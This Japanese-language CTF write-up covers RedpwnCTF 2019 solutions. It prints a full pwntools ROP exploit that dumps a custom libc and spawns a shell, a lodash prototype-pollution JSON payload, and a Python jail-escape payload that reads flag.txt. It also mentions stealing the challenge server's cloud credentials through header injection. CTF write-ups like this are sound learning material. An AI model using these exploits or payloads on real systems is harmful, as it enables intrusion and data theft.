RedpwnCTF Writeup

team Contrailのdouroとして参加し、フラグを入れた926チーム中57位でした。私は一日目の終わりから参加して1552pt獲得しました。解いた問題は

  • Stop, ROP, n', Roll
  • HARDMODE
  • Super Hash
  • l-star
  • genericpyjail2
  • ghast
  • Dedication
  • Survey
  • blueprint

です。変な問題捨てればhell.cとBlack Echoは通せたかもと後悔があり、次に生かしたいです。一応全ジャンルできたのはうれしい。

あとred-pwn-isは問題サーバー(aws)のcredをHTTP Header Injectionで盗めたけどこれは罠でなんも権限がなく、普通にlocalhostのRedisにたいするSSRFだった。運営許せねえ。

最低得点の50pt以外の問題についてWriteupを書きます。

[Web] blueprint (168pt)

node.jsで動いているサーバーにおいて、記事が投稿できる。 flagが public===undefinedで投稿されているので、これをtrueにすれば読むことができる。以下が脆弱なコード。

        parsedBody = _.defaultsDeep({
          publiс: false, // default private
          cоntent: '', // default no content
        }, JSON.parse(body))

単純に__proto__を用いたプロトタイプ汚染ができそうだが、lodash 4.17.11においては__proto__ではなくconstructorを使ったペイロードが通る。{"public":true,"constructor":{"prototype":{"public":true}}}でpublicをtrueにできてフィニッシュ

[Pwn] Stop, ROP, n', Roll (280pt)

libcがなく、カスタムされたlibcが使われている場合のPwn。
なんか変な処理が入るが、readのrdiを入力で制御できるため、rdiに0を入れてバッファにコードを入れてオーバーフローできる。1バイトずれるためパディングに注意。
libcをリークする所までは普通にできるが、libcからexecveとsystemが抜けてたりputsの位置が異なったりとカスタムされている模様。
write@libcは通常の位置にあったので、rdxをreadのものから流用できることを利用し、libcの内容を__libc_start_mainを基準としてダンプさせる。
どうやらsystemやexecveといった関数が取り除かれているため、頑張るしかない。 pop rax; ret;とpop rdx ; ret;のバイトコード手に入れ、syscallを制御できるようになったらexecve("/bin//sh", 0, 0)をropで組み立て、シェルを起動する。

from pwn import *
import time
context.log_level="debug"
"""
p = process(["strace","/home/yukari/Desktop/srnr"])
p.recv()
p.sendline(b"1")
p.recv()
p.sendafter(b"read(1, ",b"a")
p.recvall()
"""
pop_rdi = 0x00400823
pop_rsi_r15 = 0x00400821
printf_plt = 0x00000000004005c0
printf_got = 0x601fd0
setbuf_got = 0x601fc8
main = 0x0040073b
read = 0x4007ad
read_got = 0x601fd8
ret = 0x0040059e
data = 0x000000000602000
bss = 0x0000000000602020
syscall = 0x00400703
onegadget =0x4f322
offset = 0x186a0
libc_start_main = 0x601ff0
p = process("./srnr")
#p=process(["strace","/home/yukari/Desktop/srnr"])
#p= remote("chall.2019.redpwn.net" ,4008)
elf = ELF("./srnr")
libc = elf.libc
binsh = next(elf.search(b"/bin//sh\x00"))
#gdb.attach(p,"c")
#time.sleep(2)
p.recv()
p.sendline(b"0")
buf = b""
buf += b"A"*17
buf += p64(pop_rdi)

buf += p64(read_got)
buf += p64(pop_rsi_r15)
buf += p64(0)
buf += p64(0)
buf += p64(printf_plt)
buf += p64(ret)
buf += p64(main)
p.send(buf)
read_leak = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))
libc_base = read_leak- libc.symbols[b"read"]
write = libc_base + libc.symbols[b"write"]
#leak libc_start_main
p.recv()
p.sendline(b"0")
buf = b""
buf += b"A"*17
buf += p64(pop_rdi)

buf += p64(libc_start_main)
buf += p64(pop_rsi_r15)
buf += p64(0)
buf += p64(0)
buf += p64(printf_plt)
buf += p64(ret)
buf += p64(main)
p.send(buf)
libc_leak = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))
#leak libc_binary
recv = b""
i = 0
p.recv()
context.arch = "amd64"
pop_rdx_asm = asm("""
        pop rdx
        ret
        """)
pop_rax_asm = asm("""
        pop rax
        ret
        """)
while True:
    try:
        p.sendline(b"0")
        buf = b""
        buf += b"A"*17
        buf += p64(pop_rsi_r15)
        buf += p64(libc_leak+offset*i)
        buf += p64(0)
        buf += p64(pop_rdi)
        buf += p64(1)
        buf += p64(write)
        buf += p64(ret)
        buf += p64(main)
        p.sendline(buf)
        recv += p.recvuntil(b"[#] number of bytes: ")[:-1*len(b"[#] number of bytes: ")]
        if (recv.find(pop_rax_asm) != -1 and recv.find(pop_rdx_asm) != -1):
            pop_rax_offset = recv.find(pop_rax_asm)
            pop_rdx_offset = recv.find(pop_rdx_asm)
            break
        i+=1
    except:
        break
pop_rdx = libc_leak + pop_rdx_offset
pop_rax = libc_leak + pop_rax_offset
print(hex(pop_rdx_offset))
print(hex(pop_rax_offset))
p.sendline(b"0")
buf = b""
buf += b"A"*17
buf += p64(pop_rdi)
buf += p64(binsh)
buf += p64(pop_rax)
buf += p64(59)
buf += p64(pop_rdx)
buf += p64(0)
buf += p64(pop_rsi_r15)
buf += p64(0)
buf += p64(0)
buf += p64(syscall)
p.send(buf)

with open("libc_leaked","wb") as f:
    f.write(recv)
p.interactive()

[Forensics] Dedication (388pt)

パスワード付きzipと壊れたpngファイルが含まれているため、pngを修復する。すると、パスワードが書かれたpngが出現するため、これをもとにzipを解凍すると同様の問題が出現する。
よく覚えていないが、たしかこれを100回以上(もっと多かったと思う。死ぬほどかかった)繰り返さないといけないため、人力では不可能。
また、pythonのzipfileモジュールではパスワード付き解凍が遅すぎて自分の環境ではとても終わらない。 チームメイトのCiruelaさんがpngを修復するコードは書いてくれたため、これを改良し、

  • 高速なzipの解凍
  • 再帰的な実行
  • エラーハンドリング
  • 正確なOCR機能

を実装した。 頂いたコードは以下

from PIL import Image
import numpy as np
import os
import traceback

f_name = os.listdir()[0]

f = open(f_name, 'r')
out_img = Image.new('RGB', (600, 400))
data_all = f.read()
data_start_index = 0
data_end_index = 0
try:
    for i in range(600):
        for j in range(400):
            data_start_index = data_all.find('(', data_start_index)
            data_end_index = data_all.find(')', data_end_index)
            rgb_data_str = data_all[data_start_index + 1 :data_end_index].split(',')
            #print(rgb_data_str)
            r, g, b = int(rgb_data_str[0]), int(rgb_data_str[1]), int(rgb_data_str[2])
            out_img.putpixel((i, j), (r, g, b))
            data_start_index += 1
            data_end_index += 1
except:
    traceback.print_exc()
    f.close()
    input('[end]')
out_img.save('output.png')
f.close()

tesseract-ocrを使ってlang=engでpngを読んだが、フォントが特殊なため誤答が非常に多かった。そのため、フォントを特定し、配布されている学習スクリプトを用いて特化した学習を行った。
フォントの特定は"g"の特徴的な形をたよりに行った f:id:Nperair:20190817162206p:plain    これを https://www.whatfontis.com に放り込んで、候補に出てきたM+ 2c lightだとわかったので、学習スクリプトを改造した。

学習スクリプトを少ないリソースで回すためにかなり弄ったので詳細は忘れたが、どうにかこのフォントとwordlistに特化したlstmのtraindataを作れたので、これをもとにOCRの誤答率を相当減らすことができた。

zipの解凍がオーバーヘッドになっていたため、zipinfoとunzipを直接呼び出す処理にした。かなり実装が雑だが、圧倒的に早く動いたのでOKです(Flagを入れれば勝ちなので)。最初は解凍をCで実装したが、大変だったのであきらめた。 最終的なコードは以下。
自前でtraindataは用意してください。

from PIL import Image
import numpy as np
import os
import traceback
import pyocr
import pyocr.builders
import glob
import zipfile
import shutil
tool = pyocr.get_available_tools()[0]
lang = "eng"
while True:
    f_name = glob.glob("*.png")[0]
    f = open(f_name, 'rb')
    out_img = Image.new('RGB', (600, 400))
    data_all = f.read()
    data_start_index = 0
    data_end_index = 0
    print("image fixing...")
    try:
        for i in range(600):
            for j in range(400):
                    data_start_index = data_all.find(b'(', data_start_index)
                    data_end_index = data_all.find(b')', data_end_index)
                    rgb_data_str = data_all[data_start_index + 1 :data_end_index].split(b',')
                    r, g, b = int(rgb_data_str[0]), int(rgb_data_str[1]), int(rgb_data_str[2])
                    out_img.putpixel((i, j), (r, g, b))
                    data_start_index += 1
                    data_end_index += 1
    except:
        with open("a","r") as f:
            nextpath = f.readline()[:-1]
        os.system("display out.png&&rm out.png")
        zipname = glob.glob("*.zip")[0]
        txt = input()
        os.system("unzip -P " + txt + " " + zipname + "&& rm tmp/*&&mv *.zip tmp&&mv *.png tmp&& mv ./" + nextpath + "* . &&rmdir  "+nextpath)
    f.close()
    print("text reading...")
    txt = tool.image_to_string(
     out_img,
     lang=lang,
     builder=pyocr.builders.TextBuilder()
    ).replace(" ","").replace("H","li")
    print(txt)
    zipname = glob.glob("*.zip")[0]
    print(zipname)
    out_img.save("out.png")
    print("extracting...")
    os.system("zipinfo -1 "+ zipname + " > a")
    with open("a","r") as f:
        nextpath = f.readline()[:-1]
    print(nextpath)
    print("unzip -P " + txt + " " + zipname)
    os.system("unzip -P " + txt + " " + zipname + "&& rm tmp/*&&mv *.zip tmp&&mv *.png tmp&& mv ./" + nextpath + "* . &&rmdir  "+nextpath)

[Misc] l-star (364pt)

cのコードとyay.txtとnay.txtが与えられる。 yay.txtとnay.txtには以下のような文字列が大量に繰り返されている

...
...
abbbaabbaba
abbabbabbaaba
bbabbaaaaaaba
bbaaaaaaaaaba
bbaaaaabbaba
aaaaabbabbaba
aabbbbabbaba
bbbabbbabbaba
aabbbaabbaaba
bbabbabbbaba
babbabbaaaaba
babbbaaaabbab
...
...

コードを読むと、yay.txtに含まれる全ての文字列にマッチして、nay.txtに含まれる全ての文字にマッチしない正規表現を90文字以内で作ることが目標だとわかる。
正規表現を組み立てる前にn-gramで差集合をとって様子を見ようとした。
すると条件をみたす文字列"aba"が出たので、abaを入力してフラグをゲットした。

def get_char_ngram(n,s):
    gram = [''.join(s[i:i+n]) for i in range(len(s)-n+1)]
    return gram
macher = []
nomacher = []
with open("yay.txt","r") as f:
    for line in f:
        macher.append(line)
with open("nay.txt","r") as f:
    for line in f:
        nomacher.append(line)
yay = []
nay = []
for i in range(1,10):
    for m in macher:
       yay += (get_char_ngram(i,m))
    for m in nomacher:
       nay += (get_char_ngram(i,m))
    yay_set  = set(yay)
    nay_set = set(nay)
    possible_list = list((yay_set^nay_set))
    for p in possible_list:
        result = 0
        for m in macher:
            result = m.find(p)
            if(result == -1):
                break
        if(result != -1):
            print(p)

[Misc] genericpyjail2 (152pt)

pyjailの問題。空白、open、import, sys, input等が禁止されている状況でflag.txtを読む。pr0xyさんがx=raw_input()で入力できることを発見したためデバッグにはこれを使ってx=raw_input();exec(x)した。
().__class__bases__[0].__subclasses__()をenumerateしてダンプすると、fileオブジェクトが見えた。たぶんopenだと思ったので、これを使ってflag.txtを読んだ。
最終的なペイロードは以下

print(().__class__.__bases__[0].__subclasses__()[40]("flag.txt").read())

総括

結構解答に近付けていたのに時間が足りなかった高得点問題が多かった。時間配分についてもう少し考え直したい。